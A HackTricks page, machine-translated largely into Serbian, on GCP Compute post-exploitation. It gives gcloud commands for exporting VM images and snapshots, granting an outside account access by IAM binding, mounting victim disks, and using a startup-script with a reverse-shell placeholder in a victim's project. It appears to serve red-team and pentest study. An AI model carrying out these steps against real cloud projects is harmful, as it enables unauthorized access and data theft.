GCP - Compute Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Compute

Za više informacija o Compute i VPC (Mreženje) proverite:

GCP - Compute Enum

Izvoz i inspekcija slika lokalno

Ovo bi omogućilo napadaču da pristupi podacima sadržanim unutar već postojećih slika ili napravi nove slike pokrenutih VM-ova i pristupi njihovim podacima bez pristupa pokrenutom VM-u.

Moguće je izvesti sliku VM-a u bucket, a zatim je preuzeti i montirati lokalno pomoću komande:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Pre izvođenja ove akcije, napadač može zahtevati privilegije nad skladišnim rezervoarom i sigurno privilegije nad cloudbuild jer je to usluga koja će biti zatražena da izvrši izvoz. Pored toga, da bi ovo funkcionisalo, codebuild SA i compute SA trebaju privilegovane dozvole. cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com treba:

• roles/iam.serviceAccountTokenCreator

• roles/compute.admin

• roles/iam.serviceAccountUser

A SA <project-id>[e-mail] treba:

• roles/compute.storageAdmin

• roles/storage.objectAdmin

Izvoz i inspekcija snimaka i diskova lokalno

Nije moguće direktno izvesti snimke i diskove, ali je moguće transformisati snimak u disk, disk u sliku i prateći prethodni odeljak, izvesti tu sliku da bi se inspektovala lokalno.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspekcija slike kreiranjem VM-a

Sa ciljem pristupa podacima pohranjenim u slici ili unutar aktivnog VM-a odakle je napadač napravio sliku, moguće je omogućiti spoljašnjem nalogu pristup slici:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

и онда креирајте нови ВМ из тога:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Ako niste mogli da date pristup svom spoljašnjem nalogu preko slike, mogli biste da pokrenete VM koristeći tu sliku u projektu žrtve i naterate metapodatke da izvrše reverznu ljusku za pristup slici dodajući parametar:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

Sa ciljem pristupa podacima smeštenim na disku ili snimku, možete transformisati snimak u disk, disk u sliku i pratiti prethodne korake.

Ili možete dodeliti spoljašnjem nalogu pristup disku (ako je početna tačka snimak, dodelite pristup snimku ili kreirajte disk iz njega):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Priključite disk na instancu:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Mount the disk inside the VM:

1. SSH u VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]

1. Identifikujte disk: Kada ste unutar VM-a, identifikujte novi disk tako što ćete nabrojati disk uređaje. Obično ga možete pronaći kao /dev/sdb, /dev/sdc, itd.

2. Formatirajte i montirajte disk (ako je novi ili sirovi disk):

• Kreirajte tačku montiranja:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]

• Montirajte disk:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Ako ne možete dati pristup spoljnim projektima za snapshot ili disk, možda ćete morati da izvršite ove radnje unutar instance u istom projektu kao snapshot/disk.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.